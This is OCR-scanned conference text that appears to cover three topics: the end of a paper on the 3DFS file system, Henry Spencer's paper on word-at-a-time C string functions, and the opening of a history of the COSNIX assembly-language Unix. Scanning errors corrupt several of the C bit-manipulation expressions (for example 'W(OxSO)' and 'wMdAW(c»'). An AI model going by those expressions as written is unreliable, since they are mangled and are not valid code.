off-line access via special commands. Thus users can browse through 3DFS with ordinary UNIX commands, and
they can treat the old versions of files as first class files. We have discovered that when given the chance, users
prefer to read old versions rather than copy them back to magnetic disk.

As a result, 3DFS has saved magnetic disk space in two ways. The first is that we can migrate files or directory
trees from magnetic disk to 3DFS by using symbolic links. The other is that our users have been more willing to
remove old files from magnetic disk, because they know that they can get them back from 3DFS if needed.

Although it seems odd at first, 3DFS's @pseudo-file mechanism for specifying the date and options does work, and
does not clash with UNIX. This pseudo-file mechanism provides a lot of flexibility, and the options make it easy
for users to control the semantics of 3DFS.

Finally, implementing 3DFS at user-level instead of kernel-level was very effective. That sacrificed some
performance, but it has made it much easier to debug and maintain 3DFS, and has kept 3DFS independent of the
internals of the operating system.
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Faster String FUDctions

Henry Spencer
University of Toronto

The string functions provided by ANSI C and by traditional Unix C libraries are usually
not as well-optimized as they could be. Careful tuning of inner loops is common, and on
some processors it is profitable to rewrite them in assembler to exploit special instruc­
tions,' but on most systems operations are still done a character at a time. Given fairly­
lenient assumptions about the architecture, versions that operate a word at a time are pos­
sible.

Word-at-a-time processing is superficially difficult for C strings, since they are terminated
by a single NUL that is awkward to detect within a word. However, carefully chosen
combinations of logical and arithmetic operations can do such detection at a cost of 3-6
operations per word, depending on data constraints and architecture, without relying on
any architecture-specific specialized instructions or data paths. This technique has been
around as occasionally-heard folklore for some time, but does not appear to have been
investigated in detail.

The resulting word-at-a-time string functions are conspicuously faster than the usual ones
for long strings. The crossover point is typically 20-30 characters, and the asymptotic
speed advantage can be as much as a factor of 5, although a factor of 2-3 is more typical
on IOO-character operands. For specialized requirements where customized interfaces
and customized code are permissible, rather higher factors are possible.

Certain problems occur, notably higher startup overhead, difficulties with unaligned
strings, and the prevalence of relatively short strings as operands to some string functions.
The case for the fast functions is mixed, and an adaptive algorithm is needed to maximize
overall performance. It would also be useful to package the algorithms for use in custom
string code, although this is somewhat challenging.

Introduction

In its early days, C had no string functions. The programmer was expected to write his own
code for all string operations. The first C string functions were introduced to the world in
"K&RI" [1], the classic book about C, and distributed as part of Version 7 Unix [2] in 1979.
Although there is still a lot of old or badly-written C code which does not use them, use has become
widespread since then, and a slightly-expanded set of string functions was included when C was
standardized as ANSI C [3].

The string functions traditionally were used where efficiency was not critical. The operations
they do are often simple, and function-call overhead was high on traditional processors. Little atten­
tion was given to their efficiency until the inclusion of some calls to them in Weicker's "Dhrystone"
benchmark [4], which is quite sensitive to their speed. (Indeed, Dhrystone has been criticized for
placing unrealistically high weight on a few string operations that are easy to optimize in ways which
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are seldom applicable to real programs.) At this point vendors started to be seriously interested in
optimizing the string-function code and even inlining simple cases.

The inefficient traditional implementation of the string functions was actually a reasonable
choice for many programs. String operations were seldom involved in critical paths, and the func­
tions were more a convenience than anything else. An early freely-redistributable version [5],
mostly "the obvious code" with little attention to optimization, comprised less than 600 lines of code
for 2S well-commented functions.

In some programs, however, string operations really are of critical importance to efficiency.
Some such programs do not use the string functions, for efficiency's sake. Others do, because their
authors either had an unusually good C implementation or made no attempt to tune their programs
for performance. For those that do, the performance of the string functions really is important

The orthodox method of improving string performance-inlining-is indeed of considerable
value [6], but it can be counterproductive in some situations. It helps the frequent cases where string
operations are small and call overhead dominates their performance, but can hurt in more demand­
ing cases where the simple inlined version can be inferior to a more sophisticated subroutine.

Conventional Implementations
Implementations of the string functions are often relatively straightforward. Operations are

done a character at a time in the obvious way. Speedups are limited to the usual forms of tuning:
thorough use of registers, tightening up the inner loops to avoid unnecessary tests and memory refer­
ences, exploitation of architecture-specific optimizations like dereference-and-increment-pointer
operations, and loop unrolling to minimize pipeline breaks. The result is essentially what would
result from feeding the most obvious C code [7] through a very good optimizing compiler.

There are two common exceptions to this. First, some of the string operations are relatively
easy to modify to work a word at a time. The obvious examples are memcpy and some of its
immediate relatives, where size and alignment of the operands are known and it is relatively easy
(circumstances permitting) to do the operation a word at a time. This is essentially loop unrolling
followed by combination of successive character operations into word operations.

Second, some architectures provide specialized instructions that are sufficiently high-level that
compilers are unlikely to discover their relevance unaided. At one extreme, the later CISC architec­
tures sometimes provide instructions that implement (say) strcpy directly, perhaps given some setup
work beforehand [8]. At the other extreme, some RISC architectures merely provide an instruction
or two that can be helpful in building string routines, such as the AMD 29000's CPBYTE instruction
[9] that compares two 32-bit words byte-by-byte and reports whether any two corresponding bytes
matched. Such instructions typically have to be invoked explicitly, either by compiler-supported
trickery or by the last resort of writing in assembler, and are not even remotely portable. Even when
the operation performed by a special instruction can be expressed in a portable way, its efficiency
typically is not portable.

The ultimate barrier to fast string functions is fetching and testing one character at a time. The
penalty of fetching one character at a time can often be mitigated by caches or clever loop unrolling.
Testing one character at a time remains a bottleneck, the more so because it involves the bane of fast
execution: conditional branches. Many of the string functions are fundamentally limited by the
need to test for the string's terminating NUL, even if the operation being performed (e.g. copying)
does not intrinsically require examination of the data

Breaking The Byte Barrier

The obvious way to optimize character-at-a-time operations is to operate a word at a time
instead, where "word" is whatever width of data the processor manipulates relatively efficientlY.
Certain assumptions are needed to make this approach viable.
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First, it is essential that a character not straddle a word boundary. Such a problem cannot hap­
pen with normal Western character sets, in which each character is expressed· in a single byte and
bytes pack cleanly into words. The possibility is much more problematic with the multi-byte
representations used for the large symbol sets of ideographic languages like Japanese. This paper
will not discuss the issue further, beyond noting that this is yet another case where character­
manipulating programs are greatly simplified if all characters are of uniform size for internal pro­
cessing (even if they are represented with variable-length sequences externally).

Second, it must be permissible to fetch a word from memory in situations where the obvious
code would fetch only a single character. The semantics of C string functions make it impossible to
write a word at a time unless it is positively known that all characters in that word are part of the
string being written (possibly including its terminating NUL). Reads, by contrast, are harmless at the
C level provided the compiler does its job properly. However, at the architectural level further res­
trictions often appear.

One troublesome possibility is that the word may not completely exist, or may not be entirely
accessible. The most obvious reason for this is that an addressable area of memory might end at
some point within the word. There is an analogous possibility that a protection boundary might
exist in mid-word. If a word access is not required to be aligned on a word boundary, these prob­
lems can appear even on architectures whose address-space allocation is done in multiples of words
(e.g. a page at a time). On the vast majority of architectures, address space is assigned in multiples
of words, and restricting ourselves to word-aligned operations eliminates the problem. Such opera­
tions typically are faster than unaligned ones even on architectures that support unaligned accesses,
although the overhead needed to assure alignment must be considered.

Although one can conceive of other reasons why a word access would cause difficulties when a
character access would not, they are basically limited to esoteric architectures or specialized cir­
cumstances. While the bytes after a string's terminating NUL may be garbage, accessing the ones
within the same word as the NUL is normally harmless.

A third, and not entirely trivial, assumption needed for word-at-a-time string operations is that
it's worth the trouble. The details will be considered shortly, but one overall issue of significance is
that the words must be large enough to amortize some extra overhead. It's unlikely to be worthwhile
to do string operations a word at a time on a 16-bit processor, unless memory accesses are expensive
while instructions are cheap, because there just isn't enough added parallelism in doing only two
bytes at a time. On 32-bit processors the situation is much better. On 64-bit processors it looks very
good indeed, aithough none were conveniently available for testing (with one problematic exception,
see below).

The fourth and final assumption needed to do string operations a word at a time is that there is
some way of efficiently testing an entire word for the presence of a specific character. This is the
crucial word-at-a-time operation that does not obviously exist in a portable form. This operation is
necessary both for hunting for a desired character in the string (e.g. in strchr) and for locating the
terminating NUL

Testing For A Character In A Word

Facilities for operating on the individual bytes of a word in fast storage (e.g. a register) are rare
and very architecture-specific. More often, only bitwise operations like shifts and masks are avail­
able. Moreover, we do not want to operate on individual bytes one at a time; for efficient character
testing, we want to test all bytes of a word in parallel. Occasional architectures like the AMD 29000
provide such a primitive, but most do not, and there is no obvious way to construct one. Normal
comparison instructions look for all bytes matching, not any byte matching.

Generalizing, we need to test for any of several conditions within a word. Examination of the
typical word-level operations reveals one that seems promising: and-with-mask followed by test­
against-zero is an "any" test, with the test failing if any of the masked-in bits were non-zero. (Often
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the masking and the test can be combined, by exploiting the setting of condition codes from the
result of the masking.) This reduces the problem to somehow expressing the byte-match condition
as a bit that can be tested.

Comparing the individual bits of the bytes is easy: exclusive-or is a bitwise comparison opera­
tor yielding bitwise results. The trick is to combine the bitwise results into a single bit per byte.
Fortunately, the necessary circuitry to do this already exists in all normal processors: the
carry/borrow subsystem needed to implement add/subtract does roughly what is wanted. (The dis­
cussion that follows will assume two's-complement arithmetic. Generalization to one's-complement
arithmetic seems feasible but has not been investigated carefully.)

With all the pieces now in place, the simplest approach to testing a word for a given character
is approximately as follows. We use C notation throughout, aided by one macro: W(x) is a word
with x in each byte. We assume eight-bit bytes, but the generalization to any byte length is trivial.
The expression·

(wMdAW(c» - W(OxOl) & W(OxSO)

is nonzero if any byte of word was c. The exclusive-or converts the problem into testing for any
byte being zero. Subtracting one from each byte causes a borrow in any zero byte, propagating a I
into its high-order bit We then test all the high-order bits for any Is using and-with-mask. Note
that we have (assuming a 32-bit processor) tested four bytes using only three operations; it will be
difficult for a character-at-a-time equivalent to beat this!

Alas, there is a problem here. There are no "spare" bits to hold the results, and non-zero
values in the result-bit positions of word and c might cause trouble. On analysis, the problem is real
but not bad enough to make the approach unworkable.

Consider how the problem could manifest itself. There are two forms of error in such tests:
misses and false alarms. A miss is when the test fails to detect the desired character. A false alarm
is when it claims to have detected it in its absence. Clearly the test is valueless for our purposes
(and most others) if misses can occur. False alarms, on the other hand, might compromise perfor­
mance but need not compromise correctness: we can always add a slow but dependable test as a
backstop for a fast one that sometimes gives false alarms~

A miss will occur if a zero byte's 1 result bit is somehow zeroed out by a borrow propagating
in from elsewhere. However, the subtraction transforms a zero byte into an all-I byte, and a borrow
from below can affect only the low-order bit of such a byte. Borrows travel only upward, never
downward. So borrow propagation never turns a hit into a miss.

False alarms, on the other hand, are a defmite possibility. The result bit will be I after the
subtraction if the byte was zero beforehand, or if the result bit was I and the rest of the byte was
nonzero. ("Beforehand" is here defined as "after any borrows from below", but this is unimportant:
a borrow from below indicates a hit somewhere below, in which case we don't care about false
alarms in this byte.) The zero case is a hit, but the other is not: if a particular byte in word contains
a character that differs from c in both its high bit and at least one other, a false alarm occurs.

Users of ASCII benefit here from a fortunate coincidence: bytes containing ASCII characters
never have the high bit on, so this test cannot get false alarms in an ASCII world. Unfortunately,
the ASCII world is limited and steadily shrinking. Eight-bit character sets are necessary in most of
the non-English-speaking world already and are imminent even in the English-speaking world, so
this problem really should be dealt with.

• Note C'8 peculiar operator precedence: -the '-' binds tighter than the '&'.
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One fairly obvious way of dealing with the false alarms is to note that they cannot occur when
the top bits do not differ, and elaborate the test thusly:

( (wordAW(c» & W(Ox7f) ) - W(OxOl) & W(OxSO)
By zeroing out the top bit before the subtraction, this version does only a seven-bit comparison, pre­
tending that the top bits are always equal. We still get false alarms when the bytes differ only in the
top bit, but this would typically be a much less frequent case. At a cost of only one extra operation
per invocation, this is probably the preferred form when eight-bit characters are known to be
present.

Even this might be unacceptable in certain situations. A test that does not give false alarms
really is desirable, at least as a last resort for difficult cases. Observe that a false alarm appears only
if the top bit was I before the subtraction and remains I afterwards. (As before, we do not care
about false alarms caused by borrows from below because they indicate a real hit somewhere below.)
Observe also that if the top bit was I before the subtraction, this byte cannot be a hit. If we
remember which top bits were I before the subtraction, and clear out those bits afterward, we have
prevented false alarms without causing misses. We can optimize this by observing that after the sub­
traction, only the top bits matter-the others are about to be eliminated by the and-with-mask
operation-and so we can clear out all bits that were I before the subtraction. The resulting test is:

(
temp = word A Wee),
temp - W(OxOl) & W(OxSO) & -temp
)

This adds about two operations to the original test, depending on whether the copy of temp is free (it
would be on a three-operand architecture with plenty of registers) and on whether the architecture
has an and-not instruction. There is some potential for internal parallelism, as in

(
templ = word A Wee),
temp2 = templ - W(OxOl), temp3 = W(OxSO) & -templ,
temp2 & temp3
)

which might win back some of the speed lost by the extra operations. If the architecture is particu­
larly favorable-with the temporaries being free and the evaluation.of temp3 entirely parallel with
temp2-this might even be as fast as the original test, in which case it is certainly preferable.

Backstops And Other Implementation Issues

The first two versions of the fast test need a backstop to screen out false alarms. And regard­
less of whether false alarms are possible or not, usually it is necessary to identify the exact character
that caused a hit. A simple way of doing both of these jobs is to check the word a character at a
time when the fast test reports a possible hit. This can be done either by retaining a copy of the ori­
ginal word in a register and picking bytes· out of it, or by re-fetching it a byte at a time. Which
approach is preferable depends on architectural issues like the number of available registers and the
effectiveness of caches.

If words are large and false alarms frequent, it may be preferable to use the third version as a
backstop to one of the first two before picking characters apart.

In principle, the character-at-a-time test can be optimized by examining the results of the
word-at-a-time test and testing only characters that are possible hits. (Here we have an exception to
earlier comments that borrow propagation is unimportant it can produce spurious possible hits if
this optimization is used.) In practice, however, the complexity of this optimization seems to
outweigh its gains: unless (perhaps) words are large and memory performance is poor, the time (and
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conditional branches) needed to examine the word-at-a-time results are more expensive than a few
more character tests.

Details of the implementation of the fast tests are critical. A single superfluous instruction in
the main loop can exact a serious speed penalty. Constants kept in registers are typically faster than
immediate operands. Specialized loop instructions are often beneficial, as is loop unrolling. Good
compilers are desirable; otherwise, either elaborate contortions are needed to trick the compiler into
generating the desired code or it becomes necessary to write in assembler.

In general, these tests are register-intensive. Counting several temporaries, constants, pointers,
variables for the backstop, and various bits of bookkeeping, the 16 registers of a VAX or 68000 are
barely adequate and the situation on a 386 is hopeless. Modem RISC processors do much better in
this regard, and their three-operand instructions are also helpful.

Performance
The best way of assessing performance is to measure the results on complete "real" applica­

tions, not contrived benchmarks. This has not been done for these fast tests, for two reasons. The
first is that, for reasons to be discussed later, implementing a complete string-function library using
them is complex and time has not permitted it The second is that real applications rarely depend
heavily on the string functions for performance, so using them to measure improved string functions
is problematic. Even Dhrystone, which is known to overemphasize string operations, is seldom dom­
inated by them. So simple benchmarks have been used.

Clearly, the best case for the fast tests is searching long strings with favorable alignment The
memchr function is the epitome of this: only a single character need be found (as opposed to slrchr
which must look for both the desired character and the terminating NUL), the length is provided so
one can tell whether the string is long enough to be worth the setup overheads, and it is typically
used to search entire buffers which are well-aligned.

A benchmark program was written using memchr to search a string for a character that was
found only at the very end. Some precautions were taken to try to avoid cache interference and
other problems, but the results necessarily have to be taken with a large grain of salt Unix's poor
timing facilities also caused difficulties, and the numbers that follow should not be considered to be
more precise than about ±5%.

Two cases were chosen for benchmarking: looking for an "a" at the end of a 100-character
string, and looking for a NUL at the end of a 1000-character string. The former is arguably vaguely
realistic. The latter is close to best-case: a long string and a chance for special optimizations for
NUL (see below). Both of these tests used a word-aligned string containing no top-bit characters.
The speeds relative to the manufacturer's memchr were:

System First Test Second Test Third Test
100 'a' 1000 NUL 100 'a' 1000 NUL 100 'a' 1000 NUL

Sun 3/180
(68020) 2.4 4.0 2.2 4.0 2.1 3.6

SunOS 3.2
Sun 4/490
(SPARC) 1.9 2.6 1.8 2.5 2.0 2.7

SunOS 4.1.1
SGI4D220

(R3000) 2.0 2.6 1.8 2.4 1.7 2.2
Irix 3.2

Less-formal tests on various other systems generally yielded similar results: improvement by a factor
of 2-3 on these cases.
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There were three notable exceptions to this overall picture. One was the Intel 386, notoriously
register-starved but with relatively good specialized string instructions. Another was some members
of the VAX family, marginal on registers and well-supplied with string support; there were sugges­
tions of some variation that might renect differences in the implementation of the string instructions.
The last was the Cray XMP, which superficially looked like an extremely favorable case-adequate
registers, wide words, and notoriously poor character handling-but in fact has vectorized (!) string
functions that are provably optimal for the architecture. On all three of these, the word-at-a-time
memchr was somewhat slower than the system-library memchr.

On the other extreme, memchr looking for a NUL in an extremely long string on the Sun 3/180
approached a factor of 5 advantage. This is a fairly unrealistic case but serves to demonstrate that
we can actually get better than a factor of 4 on a processor whose words are 4 characters wide.

Preliminary tests on implementations of a few other string functions gave broadly similar
results.

Although nobody seems to have published good statistics on use of the string functions, there is
anecdotal evidence that most strings are relatively short On short strings, the word-at-a-time tests
are crippled by startup overhead. They have to set up two or three times as many registers, and on
processors that are short of registers or with compilers that allocate them poorly, those registers will
have to be saved first and restored afterward. The crossover length, where the word-at-a-time ver­
sions start being faster, varies from 6-40 characters depending on the exact function, test, and pro­
cessor. Modem processors like the MIPS ones, with many registers and well-chosen register­
allocation conventions, have lower crossover lengths than the older processors like the 68020.

The startup time is worsened if the string(s) are not word-aligned. The penalty is surprisingly
large, sometimes doubling the crossover length. Here again there is a lack of solid numbers, but
informal studies suggest that many of the string functions are often used on unaligned operands.

Combinations And Variations
The word-at-a-time approach clearly is a mixed blessing, giving substantial performance advan­

tages in favorable circumstances but exacting a significant penalty in unfavorable ones. With several
variations of the basic tests, and assorted complications that mayor may not occur, these functions
are obviously a good application for adaptive algorithms that vary their behavior to match the jobs
they are asked to do.

One easy adaptation that has already been alluded to is adaptation based on the character
being searched for. For one thing, a character with the top bit on clearly should use the second or
third test rather than the first one. A more subtle example is that NUL is a special case: exclusive­
oring with 0 is a no-op, so the exclusive-or operation can be eliminated completely for an optimized
NUL fmder. (The 1000-character tests discussed earlier used such a variation.)

Adaptation based on the string can also be useful. A trivial example is that when the length is
known (e.g. in memchr), the setup overhead of the word-at-a-time algorithms can be avoided if the
string is too short to profit from them. Unfortunately, most of the string functions don't provide the
length. At first glance, one could work around this by doing the first n characters using a character
algorithm and then switching to the word-at-a-time algorithm if the string is still going. Unfor­
tunately, doing even a small number of characters the slow way pushes the crossover-point length up
quite a bit it takes a lot of string scanned a word at a time to make up for the slowness of starting
off a character at a time. Another nuisance is that unintelligent compilers often do their register
management mostly at function entry and exit time, so the adaptive routine has to pay the
save/restore penalty of the word-at-a-time algorithm regardless. That can be avoided by putting the
word-at-a-time code in an auxiliary function, but this adds call/return overhead that can be even
worse.
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A more significant example of adaptation based on the string is to try the first (fastest) test
with a fallback to the later ones if a significant number of false alarms appear. This has the potential
for considerable performance improvement in a world where all-ASCII strings are still common but
strings with top-bit characters are also appearing in increasing nUinbers. The prototype implementa­
tions tested used a simple approach to this:

while Uirst test doesn't hit)
continue;

if (real hit)
go elsewhere

while (second test doesn't hit)
continue;

if (real hit)
go elsewhere

while (third test doesn't hit)
continue;

This achieves progressive fallback to slower but less false-alarm-prone algorithms without any over­
head to keep track of how the algorithms are doing. That is important: any bookkeeping overhead
can be very visible in performance. It might possibly be worth sampling the string to decide whether
the fust test is even worth trying, but almost any unnecessary operations during startup hurt cross­
over length badly, compared to just letting the first test get its false alarm and fall through.

The fanciest form of adaptive algorithm, of course, is one that keeps a record of past behavior
to guide future decisions. A program's past string usage is probably a better guide to its intentions
than an a priori guess. For example, it is not worth using the word-at-a-time algorithms at all in a
program that is doing a lot of small, unaligned string operations; the program will actually be faster
with character-at-a-time string operations.

Possibly the best approach is to remember whether the last few operations were all small, and
use character-at-a-time operations if they were. It will typically be better to err towards word-at-a­
time operations, since the time wasted by doing one long operation a character at a time will pay for
the startup overhead of many small operations done a word at a time.

The bookkeeping for history-based decisions can get complex. Different string functions may
well have different usage patterns. It is not unreasonable to guess that a search function like strchr
would typically have longer operands than strcat, for example. A detailed study of string-function
usage would be most helpful in deciding how much cleverness is worthwhile.

Ultimately, it would be desirable to package the word-at-a-time tests up so that user-written
code could exploit them. The string functions provide only a fairly limited set of operations, and
one often wants some variation that is best implemented with custom code. For example, if the goal
is to locate all occurrences of a given character in a block of text, rather than just the first one, the
overhead of repeated calls to memchr can be impossibly high, but doing the search a character at a
time is also relatively slow. Another example is Boyer-Moore and related string-search algorithms
[10], often dominated by their "skip loop", which is essentially a specially optimized one-character
search. Unfortunately, the fast tests are difficult to package because they have a complex interface,
especially when backstops and fallback approaches are needed. Sophisticated compiler inlining fol­
lowed by global optimization may be the only real solution.

A Final Example
One may reasonably ask whether this is all worth the trouble. The answer is: "sometimes".

This paper ultimately grew out of a chance remark by a friend years ago: he observed that he some­
times still used alocal variant of ed for simple jobs, because it started up so much faster than all the
screen editors. It did not seem to me that screen editors necessarily had to be slow, if one avoided
fundamental design errors like writing a multi-megabyte editor in an interpretive language.
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The result was an experimental prototype, a proof-of-principle for fast screen editors. Most of
its speed came from fairly orthodox performance engineering [6]: studying bottlenecks, eliminating
unnecessary operations, making the typical case fast Its temporary file was initialized to an exact
copy of the input flle, avoiding any time-wasting reorganization of the text After careful implemen­
tation of various components, a major bottleneck appeared in scanning a block of input text for new­
lines.

If one accepts false alarms on any top-bit character and any ASCII character below newline,
the following does one less operation per loop than any of the more general tests:

w~d - W('\n'+l) & W(OxSO)
The only ASCII character below newline that is used with any frequency is tab, and even for C pro­
grams making heavy use of tabs for formatting, this specialized test is fastest if false-alarm handling
is efficient To avoid ruinous call overhead, this test was incorporated into a carefully-tuned routine
that found aU newlines in a block. This nearly doubled the speed of input processing.

The resulting screen-editor prototype starts up, on a large input flle, in roughly 1/3 the startup
time of ed. This is an order of magnitude faster than typical screen editors. Here, the cost of string
operations very definitely matters.

Conclusion

No algorithm should be considered fastest unless it is exploiting the full parallelism of the
hardware, and even seemingly-sequential algorithms like the string functions can benefit consider­
ably from full use of machine data paths. Implementors need to be careful about overheads, how­
ever, and adaptive algorithms are often appropriate to cope with varying usage patterns.
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Availability

This effort was aimed at producing a reimplementation of the ANSI C string library using
word-at-a-time operations, but the need for in-depth study of string-function usage and careful con­
struction of non-trivial adaptive algorithms haS made this impossible (due to time constraints and
changes of priorities). The existing code-test harnesses and prototype implementations of some of
the functions-will b~ m~de available for anonymous FTP on zoo.toronto.edu.

The screen-editor prototype is a laboratory demonstration only and is unsuited to real use. It
is not available at this time.
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A History of the COSNIX Operating System: Assembly
Language Unix 1971 to July, 1991
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Abstract

From 1971 until July, 1991 a variant of the assembly language version of the Unix operat­
ing system (Unix-A) was used to run a transaction processing system called COSMOS (Com­
puter System for Mainframe Operations) in the Regional Bell Operating Companies. At one
time about seven hundred such systems were running on PDP 111/45 and PDP lInD computers.
This talk describes the history and development of that Unix operating system variant, called
COSNIX, and explains some of the reasons for its success. I hope, also, that it gives a feeling of
the challenges involved in producing a viable system during the days when computing resources
were much more severely limited than they are today.

1. In the Beginning

In 1971 Ken and Dennis (yes, that Ken and Dennis) came to our computer room in Whippany, NJ. to install
an assembly language Unix system on our PDP 11/20. From this came an operating system called COSNIX, which
supported a transaction system called COSMOS (Computer System for Mainframe Operations) [1] which at one
time ran on about seven hundred PDP lInD and 11/45 systems. (COSMOS was used to keep an inventory of the
equipment in a telephone central office and to assign facilities for new service requests. Items assigned included
telephone numbers and switching equipment. Connectivity infonnation for active telephone circuits was also kept.)
COSMOS was the frrst transaction processing system which was Unix based. It was the frrst system to add a tradi­
tional database file system to Unix. Amazingly, the system was in use in the Regional Bell Operating companies
from 1972 until July, 1991.

In this talk I give some of the history of the system and discuss what went right, what went wrong, and what
might still be relevant to designing a system in the last decade of the twentieth century. Return with us to the bad
old days of computing to see that it was really possible to do useful work with a 24K byte operating system (includ­
ingbuffers).

First, I will describe the system's history up until 1977 (when I left the project). Mter that time, new demands
were made upon the system; the history of the hardware and software changes after 1977 will be discussed in a sepa­
rate section.

2. The Hardware Environment

Much of this will be impossible for those born after the Eisenhower administration to believe, but it is true.
The systems deployed in the field were PDP 11/45 and lInD computers. The much faster lInD was a perhaps
one-half MIP machine. They had from 128K to 248K bytes of core memory. The memory cycle time was 1.4
microseconds. (The raw memory cycle was 900 ns; measured through the UNIBUS it was about 1.4 microseconds.)
There was also a memory management unit that allowed eight variable sized pages (64 bytes to 8K bytes per page)
for each of three separate address spaces (kernel, supervisor and user). The lInD also had a 2K byte, two-way set­
associative cache with a 4 byte (2 word) block size. The cache had a 300 ns cycle time. We retrofitted an outside
vendor's cache to our 11/45 systems. Moving head disks were the size of washing machines and from 20 to 40
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Megabytes each. They had an average access time of around fifty milliseconds. A fixed head disk with a total
capacity of one half megabyte was also included. The boot ROM waS 32 16-bit words of diodes, which one pro­
grammed with cutting pliers a bit at a time. In 31 words we had both a boot from disk and from nine-track magnetic
tape. There were up to 48 lines of data multiplexors and a 110 baud or 300 baud console terminal. Two nine-track
800 bpi (later 1600 bpi) magnetic tape drives were also included, as were a high speed (300 character/second) paper
tape reader and a 300 line per minute line printer. The hardware cost around $200,000 in 1971. (The majority of the
total cost of the transaction system was in generating the database, not in pwchasing the hardware.)

3. The Software Environment

As mentioned above, the operating system was only 24K bytes. This included input line buffers for the termi­
nals, a 255 character linked list for all character devices and about a dozen 512 byte buffers for disk and tape blocks,
and space for the system stack. (All of the block I/O was in 512 byte increments.) User processes were limited to
32K bytes. Unix files were limited to 64K bytes. Instruction and data spaces were mapped together, which allowed
self modifying code. The operating system mapped completely over the user space to facilitate data movement from
user to kernel space and vice versa. (That is, four kernel memory segmentation registers were used to map the ker­
nel addresses from 24K through 56K to the same physical memory locations as the currently running user's
addresses space of 0 to 32K. This allowed the operating system, which was run in kernel mode, to use move instruc­
tions instead of move to/from previous space instructions to pass data to (or get data from) the user's address space.)
From a user point of view, though, except for the size limitations, the system appeared remarkably like it is today.

Such systems supported about 40 users running a few thousand transactions per hour.

It should be emphasized that both software development and the transaction system used the same operating
system. Transaction users were constrained by a restrictive shell and a per login name scheme for program execu­
tion permission. These restrictions were necessary from an operational point of view. They were also, as we shall
see later, taken advantage of in promoting improved performance.

4. Building the System

We faced three classes of problems when building COSNIX from the assembly language Unix system base.
First, we had to add features to Unix, such as a directly accessible system of large database files. Second, we needed
to correct a number of small Unix system bugs in order to build a reliable system for the naive users we had. Third,
we needed to make the system run faster to avoid having cobwebs grow on our users while they waited for a
response.

4.1. Additional Features

The database system was designed to be a purely ASCn file system with chained records representing tele­
phone circuits. The records were of fixed block size for each file. An index was kept in main memory to make any
record directly accessible. ASCII files were used to make it simple to peruse and edit all files without the need for
database specific tools.

All database writes and the start and end of each transaction were recorded .on a log tape. This allowed for
recovery of the database to a consistent state in the event of a system failure.

A system call was added to allow the system to be taken down gracefully. The dry system call set a bit in the
system if it was to be taken down.* The restricted shell of the transaction users refused to start a new transaction if
this bit was set. Thus transactions were allowed to complete and the system was taken down when it was quiescent.

The stay system call allowed the user's program to run for up to one more time slice. It was used as a very
simple way of implementing exclusive data base access. A single time slice was ample for exclusive data base
access and it was enonnously simpler than any of the common schemes for allowing exclusivity. (Stem warnings
were given never to call stay in a loop.)

Other necessary system changes included supporting more than two user partitions (more than 88K bytes of
memory), more than one tape drive, and a 16-line data multiplexor (eventually up to three of these).

* The name dry comes from the fact that it dried up the input stream.
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4.2. Bug Fixes
The types of system bugs most frequently encountered were improperly protected segments that caused code

to be reentered which wasn't reenterable and improperly saved registers for some paths through the system. These
resulted either in processes mysteriously disappearing or in the system crashing altogether. For example, killing a
program which was rewinding a magnetic tape resulted in a system crash. This was a register reuse problem. Some­
times interrupting a process caused one's shell to die; this was traced to improperly reentered code. (It was the
wakeup routine that was reentered improperly.)

Many bugs were fixed before the system ever entered use by the operating companies, and a number were
flXed after that. Within about a year of entering the field, the operating system was apparently bug free. That is,
when the system crashed it was always found to be either a power failure or a hardware failure; the code may not
have been completely bug free, but at least in the mode the system was used it appeared to be so. Even in the devel­
opment environment the system appeared to be bug free. Our IlnO development system ran for more than one year
without a crash. All crashes were, in fact, hardware failures.

4.3. Performance Improvements
Even with the bug fIXes and the necessary changes for a transaction processing system, we found ourselves in

major difficulty. The system was depressingly slow. Despite the fact that all of the transactions were written using
a threaded code FORTRAN compiler, the dominant amount of time was spent waiting for disk, with system time
also exceeding user time. This is not really 100 surprising considering that we had to load programs, read database
fdes. and write scratch fdes so that a series of overlaid processes could collectively process a ttansaction. (Remem­
ber that user processes were only 32 K bytes.) Essentially all our effort was spent in reducing the actual number of
disk accesses and in making those that did occur as fast as possible. Compared to a minimally changed system. we
eventually developed a system more than twenty times as fast. (There were a few changes speeding the execution of
system code, but these. in the end. were of only small consequence.) It should be noted that the 16-bit address space
was probably the cause of about half of the disk activity (reading and writing the scratch files used to connect pro­
grams), but 32-bit machines were too expensive in 1971 to make them a reasonable choice for our system.

The earliest changes we made to the system to speed it up were to map logically sequential blocks to physi­
cally non-sequential blocks; that is, to produce a gapped fde. This gave enough time to schedule the read of consec­
utive blocks before the disk head passed by them. The blocks were laid out alternately. The database fdes also used
a non-consecutive block scheme. The gaps for the database fdes were determined experimentally and differed
among files. Also. Unix files had a forced read ahead of one block applied to them. An exception was made for
executable fdes: Since executable files were always read as a whole when they were being loaded for execution. they
were laid out physically contiguously so that a single large read was done to the appropriate point in main memory.
Such files were marked as contiguous in their inodes. System buffers were bypassed for execution. We could still
load and execute non-contiguous files, and this was the nonnal case in the development environment. Swapping
was changed to the moving head disk from the fixed head, since for typical processes the higher ttansfer rate of the
moving head disk more than offset the added seek time. Most systems in the field had no fIXed head disk.

System buffers were another area for consideration. One of the few changes that affected disk use indirectly
involved the cliSl (The clist was a linked list of character buffers for all slow-speed devices. It was a total of 255
characters when we received the system.) We mapped the clist to a separate page of memory and we changed its
total size to 2732 characters. This added two disk buffers to the system. and more importantly meant that we could
change the high and low water marks so that programs would not be swapped as often. (Text. data and bss totaled
14K bytes; thus freeing up the clist space allowed space for two more disk buffers within the 24K byte constraint.)
(The high water mark for character I/O is the number of characters queued by a particular process for output on the
clist that causes the process to be suspended. The process is rescheduled for running once the cllst has been drained
to fewer than the low water mark number of characters for that process.) Further. we made the low water mark equal
to the high water mark minus one if there was only one runnable process in the system. This prevented any extra
enforced idling of the one runnable process and so got it fmished as soon as possible. The cllst tended to fill quite
easily (as most of the terminals were only 110 or 300 bps), and thus the clist's drain seem perpetually clogged.

In order to optimize buffer use further a separate buffer cache for inodes was kept. Thus we did not waste
whole disk buffers for only one or two frequently used inodes.

The user processes were enlarged with a nearly trivial change. The threaded code depended on a large nwnber
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of pure code routines. These were mapped into a FORmAN page which was accessible in user space for all users
but not by the kernel except, of comse, for loading the page initially. Thus, a user process could grow to 40K, and
8K of that had to be loaded only at system initialization time. This cut down on the number of overlays required for
many transactions. Recall that transactions were always a series of user processes which overlaid each other and
which passed data via scratch files. (Processes either did afork and exec or just an exec.) From about two to twenty
processes constituted a transaction.

Directory searching was the next area to optimize. Users of the COSMOS system were confined to a single
(common) directory which contained all of their executable files and scratch ftles. The search to fmd scratch files
